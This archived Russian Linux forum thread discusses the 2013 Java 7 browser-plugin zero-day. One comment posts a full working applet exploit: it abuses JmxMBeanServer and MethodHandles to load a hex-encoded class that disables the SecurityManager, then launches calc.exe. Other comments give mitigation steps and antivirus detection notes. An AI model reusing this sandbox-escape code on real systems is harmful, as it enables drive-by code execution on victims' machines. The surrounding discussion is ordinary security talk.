LINUX.ORG.RU
ФорумTalks

В Java обнаружена ошибка, которая делает java-plugin уязвимым

 


1

2

Эксперты по информационной безопасности рекомендуют пользователям воздержаться от использования Java-плагина и Java Web Start из-за ошибки в системе безопасности, которая делает устройства уязвимыми, сообщает Reuters.

«Java небезопасна, — цитирует агентство эксперта AlienVault Labs Джейми Бласко. — Вам необходимо отключить плагины».

По словам главы подразделения по безопасности Rapid7 Эйч Ди Мура, ошибка в системе безопасности последнего обновления Java 7 используется хакерами для взлома компьютеров на базе Mac OS X, Windows и Linux. Эксперты не исключают, что и другие версии Java могут быть уязвимы.

«Oracle просто необходимо сделать Java более защищенной», — настаивает он.

Эксперты компьютерной команды экстренной готовности США US-CERT сообщают, что хакеры генерируют специальный HTML-документ с вредоносным кодом. Этот код уже добавлен в пакеты эксплойтов Blackhole, Cool Exploit Kit, а также в Nuclear Pack и Redkit, которые используются хакерами для проведения атак.

Как отмечает основатель Security Explorations Адам Гоудиак, это не первая уязвимость в системе безопасности Java. В августе 2012 года компании пришлось уже экстренно исправлять обнаруженные ошибки в программном обеспечении. Новый вредоносный код умеет обходить эту защиту, а также учитывает пакет обновлений для Java, выпущенный Oracle в октябре.

Следующий выпуск обновлений для Java запланирован на 19 февраля 2013 года. Пока неясно, исправит ли Oracle существующую уязвимость до этого.

Оперативный комментарий представителя Oracle получить не удалось. «Не думаю, что в этот раз Oracle выпустит незапланированное обновление без тщательного расследования», — считает ведущий аналитик Bitdefender Богдан Ботезату. И, хотя ранее корпорация показала, что может оперативно действовать по ситуации, все-таки она должна принимать такие меры в зависимости от объема ущерба и быть уверенной в качестве обновления.

Эксплоит, уязвимость, CVE-2013-042

Источник

Перемещено tazhate из java



Последнее исправление: maxcom (всего исправлений: 9)

Ответ на: комментарий от Bioreactor

вообще-то уважающие себя аффтары эксплойтов обычно намеренно добавляют какую-нибудь ошибку в текст эксплойта, чтобы воспользоваться им могли соображающие люди, а не обезьяны, жамкающие кнопки по инструкции

такой небольшой тест на профпригодность :)

Harald ★★★★★
()
Ответ на: комментарий от Harald

Вообще-то так можно утверждать все что угодно - а потом докажи, что не верблюд.

Тогда автор будет просто звездоболом, что, впрочем, соответствует действительности.

Сылочку тогда на джарник, плз.. А иначе - фигна это, вброс говна на вентилятор.

Bioreactor ★★★★★
()
Ответ на: комментарий от Bioreactor

ну код сплоита прост, мне интересно что в упакованном классе, и тут внезапно оказалось что в линуксе нечем hex преобразовать в двоичные данные

Deleted
()
Ответ на: комментарий от Harald

Ну вот удалось кое-как запустить.

И, поиграв с секьюрити, заблокировать.

Так, что судите о свой профпригодности и непригодности сами.

ЫЫЫ

Bioreactor ★★★★★
()
Последнее исправление: Bioreactor (всего исправлений: 1)
Ответ на: комментарий от Deleted

В упакованном классе

import java.security.AccessController;
import java.security.PrivilegedExceptionAction;

public  class B implements PrivilegedExceptionAction {


    public B ()
    public Object run()

}
Deleted
()

Короче,

поиграйтесь

import java.applet.Applet;

import java.lang.invoke.MethodHandle;
import java.lang.invoke.MethodHandles;
import java.lang.invoke.MethodType;

import com.sun.jmx.mbeanserver.JmxMBeanServer;
import com.sun.jmx.mbeanserver.JmxMBeanServerBuilder;
import com.sun.jmx.mbeanserver.MBeanInstantiator;

public class A1 extends Applet {

	public byte[] hex2Byte(String paramString)

	{

		byte[] arrayOfByte = new byte[paramString.length() / 2];

		for (int i = 0; i < arrayOfByte.length; i++)

		{

			arrayOfByte[i] = (byte) Integer.parseInt(
					paramString.substring(2 * i, 2 * i + 2), 16);

		}

		return arrayOfByte;

	}

// В одну строку!
	public static String ByteArrayWithSecOff = "CAFEBABE0000003200270A000500180A0019001A07001B0A001C001D07001E07001F0700200100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C65010001650100154C6A6176612F6C616E672F457863657074696F6E3B010004746869730100034C423B01000D537461636B4D61705461626C6507001F07001B01000372756E01001428294C6A6176612F6C616E672F4F626A6563743B01000A536F7572636546696C65010006422E6A6176610C000800090700210C002200230100136A6176612F6C616E672F457863657074696F6E0700240C002500260100106A6176612F6C616E672F4F626A656374010001420100276A6176612F73656375726974792F50726976696C65676564457863657074696F6E416374696F6E01001E6A6176612F73656375726974792F416363657373436F6E74726F6C6C657201000C646F50726976696C6567656401003D284C6A6176612F73656375726974792F50726976696C65676564457863657074696F6E416374696F6E3B294C6A6176612F6C616E672F4F626A6563743B0100106A6176612F6C616E672F53797374656D01001273657453656375726974794D616E6167657201001E284C6A6176612F6C616E672F53656375726974794D616E616765723B295600210006000500010007000000020001000800090001000A0000006C000100020000000E2AB700012AB8000257A700044CB1000100040009000C00030003000B000000120004000000080004000B0009000C000D000D000C000000160002000D0000000D000E00010000000E000F001000000011000000100002FF000C00010700120001070013000001001400150001000A0000003A000200010000000C01B80004BB000559B70001B000000002000B0000000A00020000001000040011000C0000000C00010000000C000F0010000000010016000000020017";

	public void init()

	{

		try

		{

			byte[] arrayOfByte = hex2Byte(ByteArrayWithSecOff);

			JmxMBeanServerBuilder localJmxMBeanServerBuilder = new JmxMBeanServerBuilder();

			JmxMBeanServer localJmxMBeanServer = (JmxMBeanServer) localJmxMBeanServerBuilder
					.newMBeanServer("", null, null);

			MBeanInstantiator localMBeanInstantiator = localJmxMBeanServer
					.getMBeanInstantiator();

			ClassLoader a = null;

			Class localClass1 = localMBeanInstantiator.findClass(
					"sun.org.mozilla.javascript.internal.Context", a);

			Class localClass2 = localMBeanInstantiator.findClass(
					"sun.org.mozilla.javascript.internal.GeneratedClassLoader",
					a);

			MethodHandles.Lookup localLookup = MethodHandles.publicLookup();

			MethodType localMethodType1 = MethodType.methodType(
					MethodHandle.class, Class.class,
					new Class[] { MethodType.class });

			MethodHandle localMethodHandle1 = localLookup.findVirtual(
					MethodHandles.Lookup.class, "findConstructor",
					localMethodType1);

			MethodType localMethodType2 = MethodType.methodType(Void.TYPE);

			MethodHandle localMethodHandle2 = (MethodHandle) localMethodHandle1
					.invokeWithArguments(new Object[] { localLookup,
							localClass1, localMethodType2 });

			Object localObject1 = localMethodHandle2
					.invokeWithArguments(new Object[0]);

			MethodType localMethodType3 = MethodType.methodType(
					MethodHandle.class, Class.class, new Class[] {
							String.class, MethodType.class });

			MethodHandle localMethodHandle3 = localLookup
					.findVirtual(MethodHandles.Lookup.class, "findVirtual",
							localMethodType3);

			MethodType localMethodType4 = MethodType.methodType(localClass2,
					ClassLoader.class);

			MethodHandle localMethodHandle4 = (MethodHandle) localMethodHandle3
					.invokeWithArguments(new Object[] { localLookup,
							localClass1, "createClassLoader", localMethodType4 });

			Object localObject2 = localMethodHandle4
					.invokeWithArguments(new Object[] { localObject1, null });

			MethodType localMethodType5 = MethodType.methodType(Class.class,
					String.class, new Class[] { byte[].class });

			MethodHandle localMethodHandle5 = (MethodHandle) localMethodHandle3
					.invokeWithArguments(new Object[] { localLookup,
							localClass2, "defineClass", localMethodType5 });

			Class localClass3 = (Class) localMethodHandle5
					.invokeWithArguments(new Object[] { localObject2, null,
							arrayOfByte });

			localClass3.newInstance();

			Runtime.getRuntime().exec("calc.exe");

		}

		catch (Throwable ex) {
		}

	}

}
<APPLET code="A1.class" WIDTH="200" HEIGHT="40">
java -version
java version "1.7.0_10"
Java(TM) SE Runtime Environment (build 1.7.0_10-b18)
Java HotSpot(TM) 64-Bit Server VM (build 23.6-b04, mixed mode)

javac -version
javac 1.7.0_10

При секьюрите по умолчанию выдаст калькулятор

При корректно настроенной - сообщение «The Application failed to run».

Так, что на всякую хитрую ж@пу всегда найдётся болт с большой резьбой.

Bioreactor ★★★★★
()
Ответ на: комментарий от Bioreactor

А теперь наберите import com.sun.jmx.mbeanserver.JmxMBeanServer;

(Даже подправив безграмотные конструкции ниже)

Ничего не смущает? А?

This is the base class for MBean manipulation on the 
 agent side. It contains the methods necessary for 
 the creation, registration, and deletion of MBeans as 
 well as the access methods for registered MBeans. 
 This is the core component of the JMX infrastructure. 
Every MBean which is added to the MBean server 
 becomes manageable: its attributes and operations 
 become remotely accessible through the connectors/
 adaptors connected to that MBean server. A Java 
 object cannot be registered in the MBean server 
 unless it is a JMX compliant MBean. 
When an MBean is registered or unregistered in the 
 MBean server an MBeanServerNotification Notification 
 is emitted. To register an object as listener to 
 MBeanServerNotifications you should call the MBean 
 server method addNotificationListener with the 
 ObjectName of the MBeanServerDelegate. This 
 ObjectName is: 
JMImplementation:type=MBeanServerDelegate.
Since:
	 1.5

И?

iZEN ★★★★★
()

Опять, блин? Как они задолбали, индусы кривожопые!
И ведь не выключишь, большая часть инет-банкингов на жабе.

pekmop1024 ★★★★★
()

С Разморозкой!

Java уже давно обошла все продукты Адоба вместе взятые как средство для расспространения малвари.

grim ★★☆☆
()

Когда уже гугл запихнет яву в сендбокс к флешу и pdf ридеру?

winddos ★★★
()
Ответ на: комментарий от iZEN
A1.java:47: warning: JmxMBeanServer is internal proprietary API and may be removed in a future release
			JmxMBeanServer localJmxMBeanServer = (JmxMBeanServer) localJmxMBeanServerBuilder
			^

И?

Bioreactor ★★★★★
()

1) Открываем Java Console

2) Если есть еще и JRE 32 bit, то во вкладке Java открываем View... и во вкладке User диалогового окна Java Runtime Environment Settings в колонке Path прописываем еще и путь к 32 разрядной JRE.

3) Во вкладке Security устанавливаем Custom и нажимаем Settings...

4) В диалоговом окне Custom Security Level Settings устанавливаем группу Action for untrusted apps on a secure JRE version в Don't run

5) Нажимаем Apply.

Теперь и неподтвержденные апплеты не будут выполняться ни в 32 разрядном, ни 64 разрядном броузерах.

Bioreactor ★★★★★
()

Да, кстати, для тех, кто заинтересовался топиком.

Сегодняшний апгрейд Microsoft Security Essentials уже ловит эксплойт.

Можете запустить мою программку. Если локально, то увидите, что A1.class будет удален и всплывет окошко «Обнаруженные угрозы удаляются - Действий не требуется».

Bioreactor ★★★★★
()

На маке откатился до 1,6. Работает, уязвимости нет.

wlan ★★
()
Ответ на: комментарий от Bioreactor

Раз вы такой глупый, что не читаете название темы, то поясню- никак.

А те кто java в браузерах не отключают или хотябы не делают включение по запросу о серверной жаб обычно н знают.

grim ★★☆☆
()
Ответ на: комментарий от border-radius

Microsoft уже лет 7-10 не лидер по распространению малвари.

grim ★★☆☆
()
Ответ на: комментарий от grim

А те кто java в браузерах не отключают или хотябы не делают включение по запросу о серверной жаб обычно н знают.

Так, если я уже более как 10 лет не напейсал ни одного апплета, а только пишу сервлеты, JSP, Struts, Spring MVC, Wicket, GWT, GXT, Vaadin (в хронологическом порядке), то я тоже стал умным?

Вы просто меня обнадёжили!

Bioreactor ★★★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.